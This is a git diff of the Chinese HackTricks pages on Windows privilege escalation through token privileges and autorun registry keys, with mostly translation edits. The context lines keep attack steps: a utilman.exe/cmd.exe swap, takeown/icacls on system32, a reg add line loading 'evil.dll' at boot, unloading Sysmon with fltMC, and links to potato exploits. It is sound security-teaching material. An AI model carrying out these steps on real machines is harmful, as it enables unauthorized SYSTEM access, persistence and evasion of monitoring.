+这是任何进程持有的特权，允许对任何令牌进行模拟（但不创建），前提是可以获得其句柄。可以通过诱使Windows服务（DCOM）对一个漏洞进行NTLM身份验证来获取特权令牌，从而启用以SYSTEM权限执行进程。可以使用各种工具利用此漏洞，例如[juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)（需要禁用winrm）、[SweetPotato](https://github.com/CCob/SweetPotato)和[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)。
 
 {{#ref}}
 roguepotato-and-printspoofer.md
@@ -27,21 +27,21 @@ juicypotato.md
 ### SeAssignPrimaryPrivilege
 
 它与**SeImpersonatePrivilege**非常相似，将使用**相同的方法**来获取特权令牌。\
-然后，此特权允许**将主令牌分配**给新的/挂起的进程。使用特权的impersonation令牌可以派生出主令牌（DuplicateTokenEx）。\
-使用该令牌，可以使用'CreateProcessAsUser'创建**新进程**，或创建一个挂起的进程并**设置令牌**（通常，无法修改正在运行的进程的主令牌）。
+然后，此特权允许**将主令牌分配**给新的/挂起的进程。使用特权模拟令牌可以派生出主令牌（DuplicateTokenEx）。\
+使用该令牌，可以通过'CreateProcessAsUser'创建**新进程**，或创建一个挂起的进程并**设置令牌**（通常，无法修改正在运行的进程的主令牌）。
 
 ### SeTcbPrivilege
 
-如果你启用了此令牌，可以使用**KERB_S4U_LOGON**为任何其他用户获取**impersonation令牌**而无需知道凭据，**向令牌添加任意组**（管理员），将令牌的**完整性级别**设置为“**中等**”，并将此令牌分配给**当前线程**（SetThreadToken）。
+如果你启用了此令牌，可以使用**KERB_S4U_LOGON**为任何其他用户获取**模拟令牌**，而无需知道凭据，**向令牌添加任意组**（管理员），将令牌的**完整性级别**设置为“**中等**”，并将此令牌分配给**当前线程**（SetThreadToken）。
 
 ### SeBackupPrivilege
 
-此特权使系统**授予对任何文件的所有读取访问**控制（仅限读取操作）。它用于**从注册表中读取本地管理员**帐户的密码哈希，随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用（Pass-the-Hash技术）。但是，在两种情况下，此技术会失败：当本地管理员帐户被禁用，或当有政策规定从远程连接的本地管理员中删除管理权限时。\
+此特权使系统**授予对任何文件的所有读取访问**控制（仅限读取操作）。它用于**从注册表中读取本地管理员**帐户的密码哈希，随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用（Pass-the-Hash技术）。但是，在两种情况下，此技术会失败：当本地管理员帐户被禁用，或当有政策规定从远程连接的本地管理员中移除管理权限时。\
 你可以通过以下方式**滥用此特权**：
 
 - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
 - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
-- 关注**IppSec**在 [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
+- 关注**IppSec**在[https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
 - 或如在以下内容中解释的**通过备份操作员提升权限**部分：
 
 {{#ref}}
@@ -50,23 +50,23 @@ juicypotato.md
 
 ### SeRestorePrivilege
 
-此特权提供对任何系统文件的**写访问**权限，无论文件的访问控制列表（ACL）如何。它为提升权限打开了许多可能性，包括**修改服务**、执行DLL劫持和通过图像文件执行选项设置**调试器**等各种其他技术。
+此特权提供对任何系统文件的**写访问**权限，无论文件的访问控制列表（ACL）如何。这为提升权限打开了许多可能性，包括**修改服务**、执行DLL劫持以及通过图像文件执行选项设置**调试器**等多种技术。
 
 ### SeCreateTokenPrivilege
 
-SeCreateTokenPrivilege是一个强大的权限，特别是在用户拥有impersonate令牌的能力时，但在没有SeImpersonatePrivilege的情况下也很有用。此能力依赖于能够impersonate一个代表同一用户的令牌，并且其完整性级别不超过当前进程的完整性级别。
+SeCreateTokenPrivilege是一个强大的权限，特别是在用户拥有模拟令牌的能力时，但在没有SeImpersonatePrivilege的情况下也很有用。此能力依赖于能够模拟代表同一用户的令牌，并且其完整性级别不超过当前进程的完整性级别。
 
 **关键点：**
 
-- **在没有SeImpersonatePrivilege的情况下进行impersonation：** 可以在特定条件下利用SeCreateTokenPrivilege进行EoP，通过impersonate令牌。
-- **令牌impersonation的条件：** 成功的impersonation要求目标令牌属于同一用户，并且其完整性级别小于或等于尝试impersonation的进程的完整性级别。
-- **创建和修改impersonation令牌：** 用户可以创建一个impersonation令牌，并通过添加特权组的SID（安全标识符）来增强它。
+- **在没有SeImpersonatePrivilege的情况下进行模拟：**可以在特定条件下利用SeCreateTokenPrivilege进行EoP，通过模拟令牌。
+- **令牌模拟的条件：**成功的模拟要求目标令牌属于同一用户，并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
+- **创建和修改模拟令牌：**用户可以创建模拟令牌，并通过添加特权组的SID（安全标识符）来增强它。
 
 ### SeLoadDriverPrivilege
 
 此特权允许**加载和卸载设备驱动程序**，通过创建具有特定值的注册表项`ImagePath`和`Type`。由于对`HKLM`（HKEY_LOCAL_MACHINE）的直接写访问受到限制，因此必须使用`HKCU`（HKEY_CURRENT_USER）。但是，为了使`HKCU`对内核可识别以进行驱动程序配置，必须遵循特定路径。
 
-此路径为`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`，其中`<RID>`是当前用户的相对标识符。在`HKCU`中，必须创建整个路径，并设置两个值：
+该路径为`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`，其中`<RID>`是当前用户的相对标识符。在`HKCU`中，必须创建整个路径，并设置两个值：
 
 - `ImagePath`，即要执行的二进制文件的路径
 - `Type`，值为`SERVICE_KERNEL_DRIVER`（`0x00000001`）。
@@ -142,7 +142,7 @@ whoami /priv
 
 ### 启用所有令牌
 
-如果您有禁用的令牌，您可以使用脚本 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) 来启用所有令牌：
+如果您有禁用的令牌，可以使用脚本 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) 来启用所有令牌：
 ```powershell
 .\EnableAllTokenPrivs.ps1
 whoami /priv
@@ -159,7 +159,7 @@ whoami /priv
 | **`SeBackup`**           | **威胁**    | _**内置命令**_         | 使用`robocopy /b`读取敏感文件                                                                                                                                                                                                                                                                                                             | <p>- 如果您可以读取%WINDIR%\MEMORY.DMP，可能会更有趣<br><br>- <code>SeBackupPrivilege</code>（和robocopy）在处理打开的文件时没有帮助。<br><br>- Robocopy需要同时具有SeBackup和SeRestore才能使用/b参数。</p>                                                                      |
 | **`SeCreateToken`**      | _**管理员**_ | 第三方工具              | 使用`NtCreateToken`创建任意令牌，包括本地管理员权限。                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
 | **`SeDebug`**            | _**管理员**_ | **PowerShell**          | 复制`lsass.exe`令牌。                                                                                                                                                                                                                                                                                                                   | 脚本可以在[FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)找到                                                                                                                                                                                                         |
-| **`SeLoadDriver`**       | _**管理员**_ | 第三方工具              | <p>1. 加载有缺陷的内核驱动程序，如<code>szkg64.sys</code><br>2. 利用驱动程序漏洞<br><br>或者，该权限可用于卸载与安全相关的驱动程序，使用<code>ftlMC</code>内置命令。即：<code>fltMC sysmondrv</code></p>                                                                           | <p>1. <code>szkg64</code>漏洞被列为<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">利用代码</a>是由<a href="https://twitter.com/parvezghh">Parvez Anwar</a>创建的</p> |
+| **`SeLoadDriver`**       | _**管理员**_ | 第三方工具              | <p>1. 加载有缺陷的内核驱动程序，如<code>szkg64.sys</code><br>2. 利用驱动程序漏洞<br><br>或者，该权限可用于卸载与安全相关的驱动程序，使用<code>ftlMC</code>内置命令。即：<code>fltMC sysmondrv</code></p>                                                                           | <p>1. <code>szkg64</code>漏洞被列为<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">利用代码</a>由<a href="https://twitter.com/parvezghh">Parvez Anwar</a>创建</p> |
 | **`SeRestore`**          | _**管理员**_ | **PowerShell**          | <p>1. 启动具有SeRestore权限的PowerShell/ISE。<br>2. 使用<a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>启用该权限。<br>3. 将utilman.exe重命名为utilman.old<br>4. 将cmd.exe重命名为utilman.exe<br>5. 锁定控制台并按Win+U</p> | <p>攻击可能会被某些AV软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在“Program Files”中的服务二进制文件</p>                                                                                                                                                            |
 | **`SeTakeOwnership`**    | _**管理员**_ | _**内置命令**_         | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. 将cmd.exe重命名为utilman.exe<br>4. 锁定控制台并按Win+U</p>                                                                                                                                       | <p>攻击可能会被某些AV软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在“Program Files”中的服务二进制文件。</p>                                                                                                                                                           |
 | **`SeTcb`**              | _**管理员**_ | 第三方工具              | <p>操纵令牌以包含本地管理员权限。可能需要SeImpersonate。</p><p>待确认。</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
index be34c2768..d52ceeff5 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
@@ -28,7 +28,7 @@
 
 它与**SeImpersonatePrivilege**非常相似，将使用**相同的方法**来获取特权令牌。\
 然后，此特权允许**将主令牌分配**给新的/挂起的进程。使用特权模拟令牌可以派生出主令牌（DuplicateTokenEx）。\
-使用该令牌，可以使用'CreateProcessAsUser'创建**新进程**，或创建一个挂起的进程并**设置令牌**（通常，无法修改正在运行的进程的主令牌）。
+使用该令牌，可以使用'CreateProcessAsUser'创建一个**新进程**，或创建一个挂起的进程并**设置令牌**（通常，无法修改正在运行的进程的主令牌）。
 
 ### SeTcbPrivilege
 
@@ -36,7 +36,7 @@
 
 ### SeBackupPrivilege
 
-此特权使系统能够**授予对任何文件的所有读取访问**控制（仅限读取操作）。它用于**从注册表中读取本地管理员**帐户的密码哈希，随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用（Pass-the-Hash技术）。但是，在以下两种情况下，此技术会失败：当本地管理员帐户被禁用时，或当有政策规定从远程连接的本地管理员中移除管理权限时。\
+此特权使系统**授予对任何文件的所有读取访问**控制（仅限读取操作）。它用于**从注册表中读取本地管理员**帐户的密码哈希，随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用（Pass-the-Hash技术）。但是，在两种情况下，此技术会失败：当本地管理员帐户被禁用时，或当有政策规定从远程连接的本地管理员中删除管理权限时。\
 你可以通过以下方式**滥用此特权**：
 
 - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
@@ -58,9 +58,9 @@ SeCreateTokenPrivilege是一个强大的权限，特别是在用户拥有模拟
 
 **关键点：**
 
-- **在没有SeImpersonatePrivilege的情况下进行模拟：** 可以在特定条件下利用SeCreateTokenPrivilege进行EoP，通过模拟令牌。
-- **令牌模拟的条件：** 成功的模拟要求目标令牌属于同一用户，并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
-- **创建和修改模拟令牌：** 用户可以创建一个模拟令牌，并通过添加特权组的SID（安全标识符）来增强它。
+- **在没有SeImpersonatePrivilege的情况下进行模拟：**可以在特定条件下利用SeCreateTokenPrivilege进行EoP，通过模拟令牌。
+- **令牌模拟的条件：**成功的模拟要求目标令牌属于同一用户，并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
+- **创建和修改模拟令牌：**用户可以创建一个模拟令牌，并通过添加特权组的SID（安全标识符）来增强它。
 
 ### SeLoadDriverPrivilege
 
@@ -164,17 +164,17 @@ whoami /priv
 | 权限                      | 影响        | 工具                    | 执行路径                                                                                                                                                                                                                                                                                                                                     | 备注                                                                                                                                                                                                                                                                                                                        |
 | ------------------------ | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | **`SeAssignPrimaryToken`** | _**管理员**_ | 第三方工具              | _"这将允许用户模拟令牌并使用诸如 potato.exe、rottenpotato.exe 和 juicypotato.exe 等工具提升到 nt 系统"_                                                                                                                                                                                                      | 感谢 [Aurélien Chalot](https://twitter.com/Defte_) 的更新。我会尽快尝试将其重新表述为更像食谱的内容。                                                                                                                                                                                         |
-| **`SeBackup`**             | **威胁**    | _**内置命令**_         | 使用 `robocopy /b` 读取敏感文件                                                                                                                                                                                                                                                                                                             | <p>- 如果您可以读取 %WINDIR%\MEMORY.DMP，可能会更有趣<br><br>- <code>SeBackupPrivilege</code>（和 robocopy）在处理打开的文件时没有帮助。<br><br>- Robocopy 需要同时具有 SeBackup 和 SeRestore 才能使用 /b 参数。</p>                                                                      |
-| **`SeCreateToken`**        | _**管理员**_ | 第三方工具              | 使用 `NtCreateToken` 创建任意令牌，包括本地管理员权限。                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
-| **`SeDebug`**              | _**管理员**_ | **PowerShell**          | 复制 `lsass.exe` 令牌。                                                                                                                                                                                                                                                                                                                   | 脚本可以在 [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) 找到                                                                                                                                                                                                         |
-| **`SeLoadDriver`**         | _**管理员**_ | 第三方工具              | <p>1. 加载有缺陷的内核驱动程序，例如 <code>szkg64.sys</code><br>2. 利用驱动程序漏洞<br><br>或者，该权限可用于卸载与安全相关的驱动程序，使用 <code>ftlMC</code> 内置命令。即：<code>fltMC sysmondrv</code></p>                                                                           | <p>1. <code>szkg64</code> 漏洞被列为 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">利用代码</a> 是由 <a href="https://twitter.com/parvezghh">Parvez Anwar</a> 创建的</p> |
-| **`SeRestore`**            | _**管理员**_ | **PowerShell**          | <p>1. 启动 PowerShell/ISE，并具有 SeRestore 权限。<br>2. 使用 <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a> 启用该权限。<br>3. 将 utilman.exe 重命名为 utilman.old<br>4. 将 cmd.exe 重命名为 utilman.exe<br>5. 锁定控制台并按 Win+U</p> | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件</p>                                                                                                                                                            |
-| **`SeTakeOwnership`**      | _**管理员**_ | _**内置命令**_         | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. 将 cmd.exe 重命名为 utilman.exe<br>4. 锁定控制台并按 Win+U</p>                                                                                                                                       | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件。</p>                                                                                                                                                           |
-| **`SeTcb`**                | _**管理员**_ | 第三方工具              | <p>操纵令牌以包含本地管理员权限。可能需要 SeImpersonate。</p><p>待验证。</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
+| **`SeBackup`**           | **威胁**    | _**内置命令**_         | 使用 `robocopy /b` 读取敏感文件                                                                                                                                                                                                                                                                                                             | <p>- 如果您可以读取 %WINDIR%\MEMORY.DMP，可能会更有趣<br><br>- <code>SeBackupPrivilege</code>（和 robocopy）在处理打开的文件时没有帮助。<br><br>- Robocopy 需要同时具有 SeBackup 和 SeRestore 才能使用 /b 参数。</p>                                                                      |
+| **`SeCreateToken`**      | _**管理员**_ | 第三方工具              | 使用 `NtCreateToken` 创建任意令牌，包括本地管理员权限。                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
+| **`SeDebug`**            | _**管理员**_ | **PowerShell**          | 复制 `lsass.exe` 令牌。                                                                                                                                                                                                                                                                                                                   | 脚本可以在 [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) 找到                                                                                                                                                                                                         |
+| **`SeLoadDriver`**       | _**管理员**_ | 第三方工具              | <p>1. 加载有缺陷的内核驱动程序，例如 <code>szkg64.sys</code><br>2. 利用驱动程序漏洞<br><br>或者，该权限可用于卸载与安全相关的驱动程序，使用 <code>ftlMC</code> 内置命令。即：<code>fltMC sysmondrv</code></p>                                                                           | <p>1. <code>szkg64</code> 漏洞被列为 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">利用代码</a> 是由 <a href="https://twitter.com/parvezghh">Parvez Anwar</a> 创建的</p> |
+| **`SeRestore`**          | _**管理员**_ | **PowerShell**          | <p>1. 启动 PowerShell/ISE，并具有 SeRestore 权限。<br>2. 使用 <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a> 启用该权限。<br>3. 将 utilman.exe 重命名为 utilman.old<br>4. 将 cmd.exe 重命名为 utilman.exe<br>5. 锁定控制台并按 Win+U</p> | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件</p>                                                                                                                                                            |
+| **`SeTakeOwnership`**    | _**管理员**_ | _**内置命令**_         | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. 将 cmd.exe 重命名为 utilman.exe<br>4. 锁定控制台并按 Win+U</p>                                                                                                                                       | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件。</p>                                                                                                                                                           |
+| **`SeTcb`**              | _**管理员**_ | 第三方工具              | <p>操纵令牌以包含本地管理员权限。可能需要 SeImpersonate。</p><p>待验证。</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
 
 ## 参考
 
-- 查看此表定义 Windows 令牌：[https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
-- 查看 [**这篇论文**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) 关于使用令牌的权限提升。
+- 查看定义 Windows 令牌的此表： [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
+- 查看关于使用令牌进行 privesc 的 [**这篇论文**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)。
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
index 022fdf0ed..2c25e485b 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -1,7 +1,9 @@
-# 使用 Autoruns 提权
+# 使用 Autoruns 提升权限
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
+
 ## WMIC
 
 **Wmic** 可用于在 **启动** 时运行程序。查看哪些二进制文件被编程为在启动时运行：
@@ -24,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
 ```
 ## 文件夹
 
-所有位于 **启动文件夹** 的二进制文件将在启动时执行。常见的启动文件夹如下所列，但启动文件夹在注册表中指示。[阅读此以了解更多信息。](privilege-escalation-with-autorun-binaries.md#startup-path)
+所有位于 **启动文件夹中的二进制文件将在启动时执行**。常见的启动文件夹如下所列，但启动文件夹在注册表中指示。[阅读此内容以了解更多信息。](privilege-escalation-with-autorun-binaries.md#startup-path)
 ```bash
 dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
 dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@@ -72,15 +74,15 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
 - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
 - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
 
-在 Windows Vista 及更高版本中，**Run** 和 **RunOnce** 注册表键不会自动生成。这些键中的条目可以直接启动程序或将其指定为依赖项。例如，要在登录时加载 DLL 文件，可以使用 **RunOnceEx** 注册表键以及一个 "Depend" 键。这通过添加一个注册表项来演示在系统启动期间执行 "C:\temp\evil.dll"：
+在 Windows Vista 及更高版本中，**Run** 和 **RunOnce** 注册表键不会自动生成。这些键中的条目可以直接启动程序或将其指定为依赖项。例如，要在登录时加载 DLL 文件，可以使用 **RunOnceEx** 注册表键以及一个 "Depend" 键。这通过添加一个注册表项来执行 "C:\temp\evil.dll" 在系统启动期间来演示：
 ```
 reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
 ```
 > [!NOTE]
-> **利用 1**：如果您可以在 **HKLM** 中的任何提到的注册表项内写入，则当其他用户登录时，您可以提升权限。
+> **Exploit 1**: 如果您可以在 **HKLM** 中的任何提到的注册表项内写入，则当其他用户登录时，您可以提升权限。
 
 > [!NOTE]
-> **利用 2**：如果您可以覆盖 **HKLM** 中任何注册表项上指示的任何二进制文件，则当其他用户登录时，您可以用后门修改该二进制文件并提升权限。
+> **Exploit 2**: 如果您可以覆盖 **HKLM** 中任何注册表项上指示的任何二进制文件，则当其他用户登录时，您可以用后门修改该二进制文件并提升权限。
 ```bash
 #CMD
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@@ -162,7 +164,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
 
 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
 
-通常，**Userinit** 键设置为 **userinit.exe**。然而，如果此键被修改，指定的可执行文件将在用户登录时由 **Winlogon** 启动。同样，**Shell** 键旨在指向 **explorer.exe**，这是 Windows 的默认外壳。
+通常，**Userinit** 键被设置为 **userinit.exe**。然而，如果此键被修改，指定的可执行文件将在用户登录时由 **Winlogon** 启动。同样，**Shell** 键旨在指向 **explorer.exe**，这是 Windows 的默认外壳。
 ```bash
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
@@ -188,28 +190,28 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
 
 ### 更改安全模式命令提示符
 
-在 Windows 注册表的 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 下，默认设置有一个 **`AlternateShell`** 值为 `cmd.exe`。这意味着当你在启动时选择“带命令提示符的安全模式”（通过按 F8），将使用 `cmd.exe`。但是，可以设置计算机在不需要按 F8 和手动选择的情况下自动以此模式启动。
+在 Windows 注册表的 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 下，默认设置有一个 **`AlternateShell`** 值为 `cmd.exe`。这意味着当你在启动时选择“带命令提示符的安全模式”（通过按 F8），将使用 `cmd.exe`。但是，可以设置计算机自动以此模式启动，而无需按 F8 并手动选择。
 
-创建自动在“带命令提示符的安全模式”中启动的启动选项的步骤：
+创建自动以“带命令提示符的安全模式”启动的引导选项的步骤：
 
-1. 更改 `boot.ini` 文件的属性以移除只读、系统和隐藏标志： `attrib c:\boot.ini -r -s -h`
+1. 更改 `boot.ini` 文件的属性以移除只读、系统和隐藏标志：`attrib c:\boot.ini -r -s -h`
 2. 打开 `boot.ini` 进行编辑。
-3. 插入一行，如： `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
+3. 插入一行，如：`multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
 4. 保存对 `boot.ini` 的更改。
-5. 重新应用原始文件属性： `attrib c:\boot.ini +r +s +h`
+5. 重新应用原始文件属性：`attrib c:\boot.ini +r +s +h`
 
-- **Exploit 1:** 更改 **AlternateShell** 注册表项允许自定义命令 shell 设置，可能用于未经授权的访问。
-- **Exploit 2 (PATH 写权限):** 对系统 **PATH** 变量的任何部分具有写权限，特别是在 `C:\Windows\system32` 之前，可以执行自定义 `cmd.exe`，如果系统在安全模式下启动，这可能是一个后门。
-- **Exploit 3 (PATH 和 boot.ini 写权限):** 对 `boot.ini` 的写访问权限使得自动安全模式启动成为可能，从而在下次重启时促进未经授权的访问。
+- **Exploit 1:** 更改 **AlternateShell** 注册表键允许自定义命令 shell 设置，可能用于未经授权的访问。
+- **Exploit 2 (PATH 写权限):** 对系统 **PATH** 变量的任何部分具有写权限，特别是在 `C:\Windows\system32` 之前，可以执行自定义的 `cmd.exe`，如果系统在安全模式下启动，这可能是一个后门。
+- **Exploit 3 (PATH 和 boot.ini 写权限):** 对 `boot.ini` 的写入访问使得自动安全模式启动成为可能，从而在下次重启时促进未经授权的访问。
 
 要检查当前的 **AlternateShell** 设置，请使用以下命令：
 ```bash
 reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
 Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
 ```
-### 已安装组件
+### 安装的组件
 
-Active Setup 是 Windows 中的一个功能，它**在桌面环境完全加载之前启动**。它优先执行某些命令，这些命令必须在用户登录之前完成。此过程甚至在其他启动项（例如 Run 或 RunOnce 注册表部分中的项）被触发之前发生。
+Active Setup 是 Windows 中的一个功能，它**在桌面环境完全加载之前启动**。它优先执行某些命令，这些命令必须在用户登录继续之前完成。这个过程甚至在其他启动项（例如 Run 或 RunOnce 注册表部分中的项）被触发之前就发生。
 
 Active Setup 通过以下注册表键进行管理：
 
@@ -222,12 +224,12 @@ Active Setup 通过以下注册表键进行管理：
 
 - **IsInstalled:**
 - `0` 表示该组件的命令将不会执行。
-- `1` 表示该命令将为每个用户执行一次，如果缺少 `IsInstalled` 值，则这是默认行为。
+- `1` 表示命令将为每个用户执行一次，如果缺少 `IsInstalled` 值，则这是默认行为。
 - **StubPath:** 定义 Active Setup 要执行的命令。它可以是任何有效的命令行，例如启动 `notepad`。
 
 **安全洞察：**
 
-- 修改或写入 **`IsInstalled`** 设置为 `"1"` 的键，并指定 **`StubPath`** 可能导致未经授权的命令执行，从而可能导致权限提升。
+- 修改或写入 **`IsInstalled`** 设置为 `"1"` 的键，并指定 **`StubPath`**，可能导致未经授权的命令执行，从而可能实现权限提升。
 - 更改任何 **`StubPath`** 值中引用的二进制文件也可能实现权限提升，前提是具有足够的权限。
 
 要检查 Active Setup 组件中的 **`StubPath`** 配置，可以使用以下命令：
@@ -291,7 +293,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
 ```
 ## SysInternals
 
-请注意，您可以找到 autoruns 的所有站点 **已经被**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) 搜索过。然而，对于 **更全面的自动执行** 文件列表，您可以使用来自 Sysinternals 的 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)：
+请注意，您可以找到 autoruns 的所有网站 **已经被**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) **搜索过**。然而，对于 **更全面的自动执行** 文件列表，您可以使用来自 Sysinternals 的 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)：
 ```
 autorunsc.exe -m -nobanner -a * -ct /accepteula
 ```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
index 9c77b989b..22b5b7c9a 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@@ -2,7 +2,7 @@
 
